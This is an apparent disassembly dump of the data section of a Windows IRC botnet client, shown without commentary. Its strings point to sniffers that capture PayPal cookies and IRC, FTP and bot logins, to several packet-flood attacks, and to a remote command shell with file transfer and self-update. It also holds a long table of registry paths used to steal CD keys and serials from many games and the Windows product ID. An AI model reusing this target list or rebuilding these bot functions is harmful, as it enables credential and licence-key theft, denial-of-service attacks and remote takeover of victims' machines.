dd 29286C74h, 69616620h, 2C64656Ch, 74657220h, 656E7275h
dd 64252064h, 0
dd 234032Dh, 696E7370h, 3026666h, 6962202Dh, 2928646Eh
dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
dd 0
dd 234032Dh, 696E7370h, 3026666h
aSocketFailedRe db '- socket() failed, returned %d',0
align 10h
aHashin db ':!hashin',0 ; DATA XREF: sub_412360+103o
align 4
a_hashin db ':.hashin',0 ; DATA XREF: sub_412360+EEo
align 4
aIdent_0 db ':!ident',0 ; DATA XREF: sub_412360+D9o
a_ident db ':.ident',0 ; DATA XREF: sub_412360+C8o
a_login db ':.Login',0 ; DATA XREF: sub_412360+B7o
aLogin db ':!Login',0 ; DATA XREF: sub_412360+A6o
aLogin_0 db ':!login',0 ; DATA XREF: sub_412360+95o
a_login_0 db ':.login',0 ; DATA XREF: sub_412360+84o
a366 db '366 ',0 ; DATA XREF: sub_412360+73o
align 10h
a302_0 db '302 ',0 ; DATA XREF: sub_412360:loc_4123C2o
align 4
aJoin_0 db 'JOIN #',0 ; DATA XREF: sub_412360+4Do
align 10h
aPsniff_0 db 'PSNIFF//',0 ; DATA XREF: sub_412360+3Co
align 4
aPsniff_1 db '[PSNIFF]:',0 ; DATA XREF: sub_412360+2Bo
align 4
aBotSniff db 'Bot sniff',0 ; DATA XREF: sub_412360+5o
align 4
aYouAreNowAnIrc db 'You are now an IRC Operator',0 ; DATA XREF: sub_412477+62o
aOper db 'oper ',0 ; DATA XREF: sub_412477+51o
align 4
aNick_1 db 'NICK ',0 ; DATA XREF: sub_412477:loc_4124B7o
; sub_4124ED+2Bo
align 10h
aOper_0 db 'OPER ',0 ; DATA XREF: sub_412477+2Bo
align 4
aIrcSniff db 'IRC sniff',0 ; DATA XREF: sub_412477+5o
align 4
aPass_0 db 'PASS ',0 ; DATA XREF: sub_4124ED+73o
align 4
aUser_3 db 'USER ',0 ; DATA XREF: sub_4124ED+62o
align 4
a230 db '230 ',0 ; DATA XREF: sub_4124ED:loc_41253Eo
align 4
a220 db '220 ',0 ; DATA XREF: sub_4124ED+3Co
align 4
aFtpSniff db 'FTP sniff',0 ; DATA XREF: sub_4124ED+5o
align 10h
aSetCookie db 'Set-Cookie:',0 ; DATA XREF: sub_412574+73o
aPaypal_com db 'paypal.com',0 ; DATA XREF: sub_412574+62o
align 4
aPaypal_com_0 db 'PAYPAL.COM',0 ; DATA XREF: sub_412574+51o
align 4
aPaypal_0 db 'PAYPAL',0 ; DATA XREF: sub_412574:loc_4125B4o
align 4
aPaypal db 'paypal',0 ; DATA XREF: sub_412574+2Bo
align 4
aHttpSniff db 'HTTP sniff',0 ; DATA XREF: sub_412574+5o
align 10h
aOpenssh_2 db 'OpenSSH_2',0 ; DATA XREF: sub_4125FB+51o
align 4
aServUFtpServer db 'Serv-U FTP Server',0 ; DATA XREF: sub_4125FB:loc_41263Bo
align 10h
aOpenssl0_9_6 db 'OpenSSL/0.9.6',0 ; DATA XREF: sub_4125FB+2Bo
align 10h
aVulnSniff db 'VULN sniff',0 ; DATA XREF: sub_4125FB+5o
align 4
unk_43598C db 2Dh ; - ; DATA XREF: sub_412660+3ECo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aVulnSniffSDToS db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0
align 4
unk_4359C4 db 2Dh ; - ; DATA XREF: sub_412660+382o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aHttpSniffSDToS db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0
align 4
unk_4359FC db 2Dh ; - ; DATA XREF: sub_412660+351o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aFtpSniffSDToSD db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0
unk_435A30 db 2Dh ; - ; DATA XREF: sub_412660+31Bo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aIrcSniffSDToSD db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0
unk_435A64 db 2Dh ; - ; DATA XREF: sub_412660+2E2o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aBotSniffSDToSD db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0
unk_435A98 db 2Dh ; - ; DATA XREF: sub_412660+14Bo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aWsaioctlFailed db '- WSAIoctl() failed, returned %d',0
align 4
unk_435AC8 db 2Dh ; - ; DATA XREF: sub_412660+C5o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aBindFailedRetu db '- bind() failed, returned %d',0
align 4
db 2Dh ; -
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aDoneWithFloodA db 'done with flood at %iKB/sec',0
dword_435B1C dd 234032Dh, 736F6464h, 202D0302h, 646E6573h, 72726520h
; DATA XREF: sub_412B08+302o
dd 203A726Fh, 6425h, 234032Dh, 706D6369h, 202D0302h, 656E6F64h
dd 74697720h, 73252068h, 6F6C6620h, 7420646Fh, 7325206Fh
dd 6573202Eh, 2520746Eh, 61702064h, 74656B63h, 20402073h
dd 424B6425h, 6365732Fh, 64252820h, 2E29424Dh, 0
dd 234032Dh, 706D6369h, 202D0302h, 6F727265h, 65732072h
dd 6E69646Eh, 61702067h, 74656B63h, 6F742073h, 2E732520h
dd 20642520h, 6B636170h, 20737465h, 746E6573h, 6572202Ch
dd 6E727574h, 25206465h, 64h, 234032Dh, 706D6369h, 202D0302h
dd 61766E69h, 2064696Ch, 67726174h, 69207465h, 70h, 234032Dh
dd 706D6369h, 202D0302h, 73746573h, 6F6B636Fh, 29287470h
dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
dd 0
dd 234032Dh, 706D6369h, 202D0302h, 6B636F73h, 29287465h
dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
dd 0
dd 234032Dh, 676E6970h, 202D0302h, 696E6966h, 64656873h
dd 6E657320h, 676E6964h, 6E697020h, 74207367h, 7325206Fh
dd 0
dd 234032Dh, 676E6970h, 202D0302h, 6F727265h, 65732072h
dd 6E69646Eh, 69702067h, 2073676Eh, 25206F74h, 73h, 234032Dh
dd 2706475h, 66202D03h, 73696E69h, 20646568h, 646E6573h
dd 20676E69h, 6B636170h, 20737465h, 25206F74h, 73h, 234032Dh
dd 2706475h, 65202D03h, 726F7272h, 6E657320h, 676E6964h
dd 63617020h, 7374656Bh, 206F7420h, 7325h, 234032Dh, 73796B73h
dd 3026E79h, 6F44202Dh, 7720656Eh, 20687469h, 6F6F6C66h
dd 25282064h, 2F424B69h, 29636573h, 0
db 2Dh ; -
db 3, 34h, 2
db 73h ; s
db 79h, 6Eh, 2
db 3
aDoneWithFloodI db '- Done with flood (%iKB/sec).',0
align 4
dword_435D44 dd 234032Dh, 26E7973h, 53202D03h, 20646E65h, 6F727265h
; DATA XREF: sub_41386B+27Do
dd 3C203A72h, 2E3E6425h, 0
dd 234032Dh, 67726174h, 3023361h, 6F44202Dh, 7720656Eh
dd 20687469h, 6F6F6C66h, 2E64h, 234032Dh, 2706374h, 44202D03h
dd 20656E6Fh, 68746977h, 20732520h, 6F6F6C66h, 6F742064h
dd 3A504920h, 2E732520h, 6E655320h, 25203A74h, 61702064h
dd 74656B63h, 20297328h, 64252040h, 732F424Bh, 28206365h
dd 424D6425h, 2E29h, 234032Dh, 2706374h, 45202D03h, 726F7272h
dd 6E657320h, 676E6964h, 63617020h, 7374656Bh, 206F7420h
dd 203A5049h, 202E7325h, 6B636150h, 20737465h, 746E6573h
dd 6425203Ah, 6552202Eh, 6E727574h, 203A6465h, 3E64253Ch
dd 2Eh, 234032Dh, 2706374h, 49202D03h, 6C61766Eh, 74206469h
dd 65677261h, 50492074h, 2Eh, 234032Dh, 2706374h, 45202D03h
dd 726F7272h, 6573203Ah, 636F7374h, 74706F6Bh, 66202928h
dd 656C6961h, 72202C64h, 72757465h, 3A64656Eh, 64253C20h
dd 2E3Eh, 234032Dh, 2706374h, 45202D03h, 726F7272h, 6F73203Ah
dd 74656B63h, 66202928h, 656C6961h, 72202C64h, 72757465h
dd 3A64656Eh, 64253C20h, 2E3Eh, 234032Dh, 6E757374h, 2696D61h
dd 44202D03h, 20656E6Fh, 68746977h, 6F6C6620h, 202C646Fh
dd 70206425h, 656B6361h, 73207374h, 2E746E65h, 0
dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 53202D03h
dd 74726174h, 20676E69h, 64736957h, 73206D6Fh, 666F6F70h
dd 55206465h, 66205044h, 646F6F6Ch, 72687420h, 2E646165h
dd 0
dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 45202D03h
dd 726F7272h, 6E657320h, 676E6964h, 63617020h, 7374656Bh
dd 206F7420h, 202E7325h, 3D786165h, 4B434F53h, 455F5445h
dd 524F5252h, 5357202Ch, 74654741h, 7473614Ch, 6F727245h
dd 3D292872h, 202E6425h, 657A6973h, 6228666Fh, 65666675h
dd 3D202972h, 2E642520h, 63615020h, 7374656Bh, 6E657320h
dd 75732074h, 73736563h, 6C6C7566h, 203D2079h, 2E6425h
dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 46202D03h
dd 73696E69h, 20646568h, 646E6573h, 20676E69h, 6B636170h
dd 20737465h, 25206F74h, 53202E73h, 20746E65h, 70206425h
dd 656B6361h, 29732874h, 257E202Eh, 20424D64h, 6420666Fh
dd 20617461h, 746E6573h, 257E2820h, 732F4B64h, 2E29h, 234032Dh
dd 64736977h, 75286D6Fh, 2297064h, 53202D03h, 69646E65h
dd 7020676Eh, 656B6361h, 74207374h, 7325206Fh, 2E2E2Eh
dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 49202D03h
dd 6C61766Eh, 74206469h, 65677261h, 50492074h, 5357202Eh
dd 74654741h, 7473614Ch, 6F727245h, 20292872h, 75746572h
dd 20736E72h, 2E6425h, 234032Dh, 64736977h, 75286D6Fh
dd 2297064h, 45202D03h, 726F7272h, 6C616320h, 676E696Ch
dd 74657320h, 6B636F73h, 2874706Fh, 57202E29h, 65474153h
dd 73614C74h, 72724574h, 2928726Fh, 74657220h, 736E7275h
dd 2E642520h, 0
db 2Dh ; -
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aErrorCallingSo db '- Error calling socket().',0
align 10h
db 2Dh ; -
db 3, 34h, 2
db 77h ; w
db 6Fh, 6Eh, 6Bh
db 2
db 3, 2Dh, 20h
aDoneWithFloodP db 'Done with flood, ports hit: %s',0
align 4
aSD db '%s%d ',0
align 4
dword_436134 dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA XREF: sub_415134+35o
dword_436148 dd 234032Dh, 61696C61h, 696C2073h, 3027473h, 2Dh ; DATA XREF: sub_415134+10o
a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_4151AC+60o
align 10h
dword_436180 dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h
; DATA XREF: sub_41524C:loc_415281o
dword_436194 dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h
; DATA XREF: sub_41524C+20o
dword_4361A8 dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h
; DATA XREF: ___:00415369o
dd 6574656Ch, 0
dword_4361C4 dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h
; DATA XREF: ___:004152CCo
dd 676E6974h, 0
aDisplay db 'DISPLAY',0 ; DATA XREF: sub_4153BC+11o
aWindow db 'Window',0 ; DATA XREF: sub_4155F7+23o
; sub_4157F0+26o
align 10h
dd 80000001h
off_4361F4 dd offset aSoftwareValveC ; DATA XREF: sub_415A2F+Cr
; sub_415A2F+21o
; "Software\\Valve\\CounterStrike\\Settings"
dd offset aCdkey ; "CDKey"
dd offset aCounterStrikeR ; "Counter-Strike (Retail)"
dword_436200 dd 2 dup(0) ; DATA XREF: sub_415A2F+26o
dd 80000001h, 437384h, 437378h, 437368h, 2 dup(0)
dd 80000001h, 437348h, 437344h, 437330h, 2 dup(0)
dd 80000001h, 43730Ch, 437344h, 437300h, 2 dup(0)
dd 80000001h, 4372DCh, 4372D4h, 4372C0h, 2 dup(0)
dd 80000001h, 4372ACh, 43729Ch, 437280h, 2 dup(0)
dd 80000001h, 43723Ch, 4373C4h, 437228h, 2 dup(0)
dd 80000002h, 4371FCh, 4371F0h, 4371D0h, 2 dup(0)
dd 80000002h, 43719Ch, 4373C4h, 437184h, 2 dup(0)
dd 80000002h, 437150h, 4373C4h, 437138h, 2 dup(0)
dd 80000002h, 437120h, 4373C4h, 437108h, 2 dup(0)
dd 80000002h, 4370CCh, 43D128h, 4370BCh, 2 dup(0)
dd 80000002h, 437084h, 43D128h, 437070h, 2 dup(0)
dd 80000002h, 437024h, 43D128h, 437004h, 2 dup(0)
dd 80000002h, 436FB4h, 43D128h, 436F88h, 2 dup(0)
dd 80000002h, 436F4Ch, 43D128h, 436F38h, 2 dup(0)
dd 80000002h, 436F00h, 43D128h, 436EF0h, 2 dup(0)
dd 80000002h, 436EA0h, 43D128h, 436E74h, 2 dup(0)
dd 80000002h, 436E34h, 43D128h, 436E18h, 2 dup(0)
dd 80000002h, 436DE8h, 43D128h, 436DC8h, 2 dup(0)
dd 80000002h, 436D8Ch, 43D128h, 436D78h, 2 dup(0)
dd 80000002h, 436D30h, 43D128h, 436D10h, 2 dup(0)
dd 80000002h, 436CBCh, 43D128h, 436C8Ch, 2 dup(0)
dd 80000002h, 436C3Ch, 43D128h, 436C10h, 2 dup(0)
dd 80000002h, 436BD0h, 436BC8h, 436BA8h, 2 dup(0)
dd 80000002h, 436B64h, 43D128h, 436B48h, 2 dup(0)
dd 80000002h, 436AFCh, 43D128h, 436AD8h, 2 dup(0)
dd 80000002h, 436AA4h, 43D128h, 436A98h, 2 dup(0)
dd 80000002h, 436A64h, 43D128h, 436A58h, 2 dup(0)
dd 80000002h, 436A24h, 43D128h, 436A18h, 2 dup(0)
dd 80000002h, 4369E4h, 43D128h, 4369D8h, 2 dup(0)
dd 80000002h, 43699Ch, 43D128h, 436988h, 2 dup(0)
dd 80000002h, 43694Ch, 43D128h, 436938h, 2 dup(0)
dd 80000002h, 436908h, 4373C4h, 4368ECh, 2 dup(0)
dd 80000002h, 4368CCh, 4368C4h, 4368A0h, 2 dup(0)
dd 80000002h, 436884h, 4368C4h, 436864h, 2 dup(0)
dd 80000002h, 436844h, 4368C4h, 436820h, 2 dup(0)
dd 80000002h, 436808h, 4368C4h, 436804h, 2 dup(0)
dd 80000002h, 4367E8h, 4367D8h, 4367D0h, 2 dup(0)
dd 80000002h, 43679Ch, 42C218h, 436784h, 2 dup(0)
dd 80000002h, 436748h, 43673Ch, 436714h, 436704h, 4366F0h
dd 80000002h, 4366CCh, 4366C0h, 4366ACh, 43669Ch, 436694h
dd 80000002h, 4366CCh, 4366C0h, 436668h, 43669Ch, 436660h
dd 80000002h, 4366CCh, 4366C0h, 436630h, 43669Ch, 436628h
dd 6 dup(0)
dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h
dd 64726564h, 296B7261h, 0
dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh
dd 6469746Eh, 2965h, 3179654Bh, 3Dh, 636E776Eh, 79656B64h
dd 696E692Eh, 0
aNeverwinterNig db 'Neverwinter Nights',0
align 10h
aLocation db 'Location',0
align 4
aSoftwareBiowar db 'Software\BioWare\NWN\Neverwinter',0
align 10h
aMtkwftmkemfew3 db 'mtkwftmkemfew3p3b7',0
align 4
aBaseMpSof2key db 'base\mp\sof2key',0
aSoldierOfFortu db 'Soldier of Fortune II - Double Helix',0
align 4
aInstallpath db 'InstallPath',0
db 53h
aOftwareActivis db 'oftware\Activision\Soldier of Fortune II - Double Helix',0
align 4
aHiddenDangerou db 'Hidden & Dangerous 2',0
align 4
db 53h
aOftwareIllusio db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0
align 10h
aChrome db 'Chrome',0
align 4
aSerialnumber db 'SerialNumber',0
align 4
db 53h
aOftwareTechlan db 'oftware\Techland\Chrome',0
align 4
dd offset word_584F4E
aSoftwareWestwo db 'Software\Westwood\NOX',0
align 10h
aCommandAndConq db 'Command and Conquer: Red Alert 2',0
align 4
db 53h
aOftwareWestwoo db 'oftware\Westwood\Red Alert 2',0
align 4
aCommandAndCo_0 db 'Command and Conquer: Red Alert',0
align 4
db 53h
aOftwareWestw_0 db 'oftware\Westwood\Red Alert',0
aCommandAndCo_1 db 'Command and Conquer: Tiberian Sun',0
align 4
aSerial db 'Serial',0
align 4
db 53h
aOftwareWestw_1 db 'oftware\Westwood\Tiberian Sun',0
align 4
aRainbowSixIiiR db 'Rainbow Six III RavenShield',0
db 53h
aOftwareRedStor db 'oftware\Red Storm Entertainment\RAVENSHIELD',0
align 4
aNascarRacing20 db 'Nascar Racing 2003',0
align 4
db 53h
aOftwareElectro db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
align 4
aNascarRacing_0 db 'Nascar Racing 2002',0
align 4
db 53h
aOftwareElect_0 db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
align 4
aNhl2003 db 'NHL 2003',0
align 4
db 53h
aOftwareElect_1 db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0
align 4
aNhl2002 db 'NHL 2002',0
align 4
db 53h
aOftwareElect_2 db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0
align 4
aFifa2003 db 'FIFA 2003',0
align 4
db 53h
aOftwareElect_3 db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0
align 4
aFifa2002 db 'FIFA 2002',0
align 4
db 53h
aOftwareElect_4 db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0
align 4
aShogunTotalWar db 'Shogun: Total War: Warlord Edition',0
align 4
db 53h
aOftwareElect_5 db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi'
db 'on\ergc',0
align 4
aNeedForSpeedUn db 'Need For Speed: Underground',0
db 53h
aOftwareElect_6 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0
align 4
aNeedForSpeedHo db 'Need For Speed Hot Pursuit 2',0
align 4
aErgc db 'ergc',0
align 10h
db 53h
aOftwareElect_7 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0
align 10h
aMedalOfHonorAl db 'Medal of Honor: Allied Assault: Spearhead',0
align 4
db 53h
aOftwareElect_8 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp'
db 'earhead\ergc',0
align 4
aMedalOfHonor_0 db 'Medal of Honor: Allied Assault: Breakthrough',0
align 4
db 53h
aOftwareElect_9 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br'
db 'eakthrough\ergc',0
align 10h
aMedalOfHonor_1 db 'Medal of Honor: Allied Assault',0
align 10h
db 53h
aOftwareElec_10 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er'
db 'gc',0
align 4
aGlobalOperatio db 'Global Operations',0
align 4
db 53h
aOftwareElec_11 db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0
align 4
aCommandAndCo_2 db 'Command and Conquer: Generals',0
align 4
db 53h
aOftwareElec_12 db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0
aJamesBond007Ni db 'James Bond 007: Nightfire',0
align 4
db 53h
aOftwareElec_13 db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
aCommandAndCo_3 db 'Command and Conquer: Generals (Zero Hour)',0
align 10h
db 53h
aOftwareElec_14 db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer'
db 'o Hour\ergc',0
align 10h
aBlackAndWhite db 'Black and White',0
db 53h
aOftwareElec_15 db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0
align 4
aBattlefieldVie db 'Battlefield Vietnam',0
db 53h
aOftwareElec_16 db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
align 4
aBattlefield194 db 'Battlefield 1942 (Secret Weapons of WWII)',0
align 4
db 53h
aOftwareElec_17 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons '
db 'of WWII\ergc',0
align 4
aBattlefield1_0 db 'Battlefield 1942 (Road To Rome)',0
db 53h
aOftwareElec_18 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom'
db 'e\ergc',0
align 10h
aBattlefield1_1 db 'Battlefield 1942',0
align 4
db 53h
aOftwareElec_19 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
aFreedomForce db 'Freedom Force',0
align 4
db 53h
aOftwareElec_20 db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0
aIgi2CovertStri db 'IGI 2: Covert Strike',0
align 10h
db 53h
aOftwareIgi2Ret db 'oftware\IGI 2 Retail',0
align 4
aUnrealTourname db 'Unreal Tournament 2004',0
align 10h
db 53h
aOftwareUnrealT db 'oftware\Unreal Technology\Installed Apps\UT2004',0
align 4
aUnrealTourna_0 db 'Unreal Tournament 2003',0
align 4
db 53h
aOftwareUnrea_0 db 'oftware\Unreal Technology\Installed Apps\UT2003',0
align 10h
aMicrosoftWindo db 'Microsoft Windows Product ID',0
align 10h
aProductid db 'ProductId',0
align 4
db 53h
aOftwareMicro_0 db 'oftware\Microsoft\Windows\CurrentVersion',0
align 4
aSoldiersOfAnar db 'Soldiers Of Anarchy',0
aSoftwareSilver db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
align 10h
aLegendsOfMight db 'Legends of Might and Magic',0
align 4
aCustomernumber db 'CustomerNumber',0
align 4
aSoftware3d0Sta db 'Software\3d0\Status',0
aIndustryGiant2 db 'Industry Giant 2',0
align 4
aPrvkey db 'prvkey',0
align 4
aSoftwareJowood db 'Software\JoWooD\InstalledGames\IG2',0
align 10h
aHalfLife db 'Half-Life',0
align 4
aSoftwareValveH db 'Software\Valve\Half-Life\Settings',0
align 10h
aGunmanChronicl db 'Gunman Chronicles',0
align 4
aKey_0 db 'Key',0
aSoftwareValveG db 'Software\Valve\Gunman\Settings',0
align 4
aTheGladiators db 'The Gladiators',0
align 4
aRegnumber db 'RegNumber',0
align 4
aSoftwareEugenS db 'Software\Eugen Systems\The Gladiators',0
align 4
aCounterStrikeR db 'Counter-Strike (Retail)',0 ; DATA XREF: ___:004361FCo
aCdkey db 'CDKey',0 ; DATA XREF: ___:004361F8o
align 4
aSoftwareValveC db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: ___:off_4361F4o
align 4
asc_4373F4: ; DATA XREF: sub_415A2F+E9o
; sub_415A2F+F4o
unicode 0, <=>,0
dword_4373F8 dd 234032Dh, 656B6463h, 3027379h, 7325202Dh, 7325203Ah
; DATA XREF: sub_415A2F+2Bo
dd 0
db 2Dh ; -
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToSendTo db '- failed to send to Remote command shell',0
align 4
db 2Dh ; -
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToOpenRe db '- failed to open remote command shell',0
align 4
unk_437474 db 2Dh ; - ; DATA XREF: ___:00415F17o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToOpenSo db '- failed to open socket',0
align 4
dword_437498 dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h
; DATA XREF: ___:0041617Co
; ___:00416312o
dd 726F72h
unk_4374B0 db 2Dh ; - ; DATA XREF: ___:00416114o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFileSSentToSSB db '- file %s sent to %s (%s bytes).',0
align 4
unk_4374DC db 2Dh ; - ; DATA XREF: ___:0041601Co
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aUnableToOpenSo db '- unable to open socket',0
align 10h
dword_437500 dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h
; DATA XREF: ___:00415FE5o
dd 74756Fh
dword_437518 dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
; DATA XREF: ___:00415F84o
dd 169h
unk_437530 db 2Dh ; - ; DATA XREF: ___:00415F41o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFileDoesnTExis db '- file doesn',27h,'t exist',0
align 10h
unk_437550 db 2Dh ; - ; DATA XREF: ___:00415E9Co
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToBindTo db '- failed to bind to socket',0
unk_437574 db 2Dh ; - ; DATA XREF: ___:00415E5Eo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToCrea_2 db '- failed to create socket',0
align 4
unk_437598 db 2Dh ; - ; DATA XREF: ___:0041638Do
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aReceivedSFromS db '- received %s from %s (%s bytes).',0
align 4
unk_4375C4 db 2Dh ; - ; DATA XREF: ___:00416287o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aErrorOpeningSo db '- error opening socket',0
unk_4375E4 db 2Dh ; - ; DATA XREF: ___:00416267o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aErrorOpeningFi db '- error opening file for writing',0
align 10h
aAB db 'a+b',0 ; DATA XREF: ___:00416253o
unk_437614 db 2Dh ; - ; DATA XREF: ___:0041623Fo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aErrorUnableToW db '- error unable to write file to disk',0
align 4
unk_437644 db 2Dh ; - ; DATA XREF: ___:0041688Co
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aBadUrlOrDnsErr db 'bad url or dns error at %s.',0
unk_437670 db 2Dh ; - ; DATA XREF: ___:0041687Eo
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aUpdateFailedEr db 'update failed, error executing %s',0
align 4
unk_4376A4 db 2Dh ; - ; DATA XREF: ___:004167C2o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aDownloaded_1fk db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0
align 4
dword_4376E8 dd 234032Dh, 6E776F64h, 64616F6Ch, 202D0302h, 6E65706Fh
; DATA XREF: ___:00416751o
dd 25206465h, 73h
unk_437704 db 2Dh ; - ; DATA XREF: ___:004166DAo
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aDownloaded_1fK db 'downloaded %.1f KB to %s @ %.1f KB/sec',0
align 4
unk_43773C db 2Dh ; - ; DATA XREF: ___:0041665Bo
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aWrongCrcDD_ db 'wrong crc (%d != %d).',0
align 4
unk_437764 db 2Dh ; - ; DATA XREF: ___:004165D1o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aWrongFilesizeD db 'wrong filesize (%d != %d).',0
align 10h
unk_437790 db 2Dh ; - ; DATA XREF: ___:0041658Eo
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aGotUpdateSDkb_ db 'got update %s (%dKB).',0
align 4
unk_4377B8 db 2Dh ; - ; DATA XREF: ___:0041657Co
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aDownloadedSDkb db 'downloaded %s (%dKB)',0
align 10h
unk_4377E0 db 2Dh ; - ; DATA XREF: ___:00416470o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aCouldnTOpenF_0 db 'couldn',27h,'t open file: %s',0
align 4
aUnknown db 'Unknown',0 ; DATA XREF: sub_4169A1:loc_4169E4o
; sub_418EF6+10Ao
aInvalid db 'Invalid',0 ; DATA XREF: sub_4169A1:loc_4169DEo
aDisk db 'Disk',0 ; DATA XREF: sub_4169A1:loc_4169D8o
align 10h
aNetwork db 'Network',0 ; DATA XREF: sub_4169A1:loc_4169D2o
aCdrom db 'Cdrom',0 ; DATA XREF: sub_4169A1:loc_4169CCo
align 10h
off_437830 dd offset word_4D4152 ; DATA XREF: sub_4169A1:loc_4169C6o
word_437834 dw 3Fh ; DATA XREF: sub_4169A1+1Fo
